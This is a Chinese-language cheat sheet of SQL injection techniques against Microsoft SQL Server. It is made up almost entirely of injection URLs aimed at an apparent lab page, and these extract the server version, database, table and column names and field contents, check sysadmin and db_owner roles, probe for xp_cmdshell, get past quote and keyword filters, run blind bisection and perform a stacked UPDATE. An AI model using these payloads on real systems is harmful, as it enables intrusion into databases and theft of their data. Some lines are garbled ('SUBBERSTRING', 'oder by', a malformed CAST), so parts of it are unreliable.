Common skills of SQL injection

A. 获取字符串数据
1.直接把字符串数据与数字比较,如"@@version"
and （select @@version）=0

2.用CONVERT或CAST把字符串转换为INT类型
http://192.168.175.9/sqli/search.asp?id=1 and CONVERT(int,@@version) > 0
http://192.168.175.9/sqli/search.asp?id=1 and CAST(int,@@version) > 0

3.用IN函数
http://192.168.175.9/sqli/search.asp?id=1 and 1 IN(select @@version)
http://192.168.175.9/sqli/search.asp?id=1 and (select @@version) in (1)

4.联合查询，数据类型不匹配。

B. 获取数字型数据
将函数返回值直接与一个数字进行比较，如相等则正常显示。
str(数字)+'@' > 数字
CAST（数字 as nvarchar）+'@'>数字
CONVERT（nvarchar,数字）+'@'>数字

http://192.168.175.9/sqli/search.asp?id=1 and 1＝(select IS_SRVROLEMEMBER('sysadmin'))
http://192.168.175.9/sqli/search.asp?id=1 and (select str(IS_SRVROLEMEMBER('sysadmin'))%2b'@')>0
http://192.168.175.9/sqli/search.asp?id=1 and (select CAST(IS_SRVROLEMEMBER（'sysadmin') as nvarchar)%2b'@')>0
http://192.168.175.9/sqli/search.asp?id=1 and (select CONVERT(nvarchar，IS_SRVROLEMEMBER（'sysadmin'))%2b'@')>0
注：需将IE选项的显示友好HTTP错误信息关掉，不报500错误消息。
注：IE可能会将"+"屏蔽掉，故用%2b替换。
注：IS_SRVROLEMEMBER函数可判断当前用户是否属于某一个组，返回INT类型。

C. 获取表中数据
按原始顺序读取第一条数据
select top 1 field_name from table_name
select top 1 field_name from table_name where field_name NOT IN('上条查询结果集')
按照原始顺序读第n条记录
select top 1 field_name from table_name where field_name NOT IN(select top N-1 field_name from table_name)
按照某种字段排序后，读取第N条记录
select top 1 field_name from table_name where field_name NOT IN(select top N-1 field_name from table_name oder by field_name) order by field_name
select top 1 field_name from (select top N field_name from table_name order by field_name DESC) as alias_name oder by field_name
把某字段进行从小到大排序
select min(field_name) from table_name
select min(field_name) from table_name where field_name > '上条查询结果'
利用游标
declare c cursor dynamic for select * from table_name
open c

D.获取数据库信息
获取数据版本
http://192.168.175.9/sqli/search.asp?id=1 and (select @@version)>0
获取当前数据名
http://192.168.175.9/sqli/search.asp?id=1 and db_name()>0
获取当前数据用户名
http://192.168.175.9/sqli/search.asp?id=1 and user>0
判断当前用户名是否是DB_OWNER
http://192.168.175.9/sqli/search.asp?id=1 and 1=(select IS_MEMBER('db_owner'))
获取所有库信息(要求有public权限)
http://192.168.175.9/sqli/search.asp?id=1 and (select  top 1 name from master.dbo.sysdatabases order by dbid)>0
http://192.168.175.9/sqli/search.asp?id=1 and (select  top 1 name from master.dbo.sysdatabases where name not in ('上条查询结果') order by dbid)>0
获取当前表名和表的字段名
http://192.168.175.9/sqli/search.asp?id=1 having 1=1
http://192.168.175.9/sqli/search.asp?id=1 group by 上条结果 having 1=1
枚举所有表名
http://192.168.175.9/sqli/search.asp?id=1 and (select top 1 name from sysobjects where xtype='U' order by id)>1
枚举所有字段名
http://192.168.175.9/sqli/search.asp?id=1 and (select top 1 name from syscolumns where id=(select id from sysobjects where name='table_name'))>1
获取字段内容
http://192.168.175.9/sqli/search.asp?id=1 and (select top 1 field_name1 from (select top N field_name1, field_name2 from [table_name] order by field_name2) as alias_name order by field_name2 DESC)>0
检测存储过程是否存在
http://192.168.175.9/sqli/search.asp?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name ='xp_cmdshell')

E.单引号过滤
1. 用MSSQL中的char函数替换
'a'==char(97)==char(0x61)
2.用二进制字符串
g=0x6700,u=0x7500,e=0x6500,s=0x7300,t=0x7400
guest=0x67007500650073007400
3.利用数据中已有的字符串
利用事先注册用户名或密码字段
http://192.168.175.9/sqli/search.asp?id=1 and user=(select field_name1 from table_name where ID=x)

F.Keywords过滤，如select,insert
由于VBScript中Replace函数默认对大小写不敏感
可用sEeLct,iNSerT替代。

G.不显示错误信息
1.获取INT数据，先猜一个数字然后与之比较，二分法可快速找到。
2.获取字符串数据，可以把字符串拆开，然后猜测。
http://192.168.175.9/sqli/search.asp?id=1 and SUBBERSTRING(field_name,1,1)='a'
http://192.168.175.9/sqli/search.asp?id=1 and ASCII(SUBBERSTRING(field_name,1,1))=120
3.把获取的数据插入某张表中某个字段，要求对表结构较熟悉。
http://192.168.175.9/sqli/search.asp?id=1；update table_name set field_name1=db_name(),field_name2=xxx